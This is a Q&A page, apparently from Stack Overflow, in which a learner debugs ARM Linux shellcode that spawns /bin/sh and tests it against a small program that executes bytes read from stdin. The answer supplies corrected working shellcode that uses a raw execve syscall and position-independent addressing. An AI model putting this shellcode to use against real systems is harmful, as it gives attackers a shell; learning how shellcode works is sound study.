1

I'll preface this by saying I'm not too familiar with assembly on ARM.

Basically, I'm trying to write shellcode similar to this. The code works just fine, but I'm trying to make some modifications to see how it works. Here is the target program:

#include <stdio.h> #include <string.h> int main(){ char payload[34]; int len=fread(payload, 1, 34, stdin); printf("Length: %d\n", len); (*(void(*)()) payload) (); } 

I compile the assembly from that link, slice out the shellcode into a file, and then I send it to stdin like so:

(cat shellcode; echo ps) | ./target 

Which yields:

Length: 34 PID TTY TIME CMD 3565 pts/3 00:00:00 bash 3854 pts/3 00:00:00 sh 3856 pts/3 00:00:00 ps 

When I do the same with the shellcode I wrote, the program hangs taking up 100% cpu. If I step through it enough times in gdb I get the following over and over:

(gdb) s 55 in dl-addr.c 

This is the assembly code I wrote:

.LC0: .global main main: mov r2, #0 mov r1, #0 ldr r0, =string bl execve string: .asciz "/bin/sh" 

I'm running this on a Raspberry Pi.

Thanks!

1
  • 1
    Use si (or, in full, stepi) command, not s (which is step). The latter operates on source lines, while the former works with instructions. And then use the disas (or disassemble) command to see where you are in the assembly view of your program+shellcode. Or, instead of disas, you may find x/10i $pc more useful (where 10 is number of instructions to disassemble). Commented Sep 13, 2019 at 16:58

1 Answer 1

1

bl execve is trying to call a 'C' library execve and not the Linux syscall. Use,

mov r7, #11 swi #0 

instead of bl execve as per writing ARM shellcode. Also, using adr string instead of ldr =string will save four bytes and make the shell code more robust (PIC).

I modified the assembly code to the following and it works!

.LC0: .global main main: mov r2, #0 mov r1, #0 adr r0, string mov r7, #11 swi #0 string: .asciz "/bin/sh" 
Sign up to request clarification or add additional context in comments.

1 Comment

Shell code with ARM Linux syscalls is a similar question, but the string is part of the code as opposed to appended. In between this and an Ascii printable exploit.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.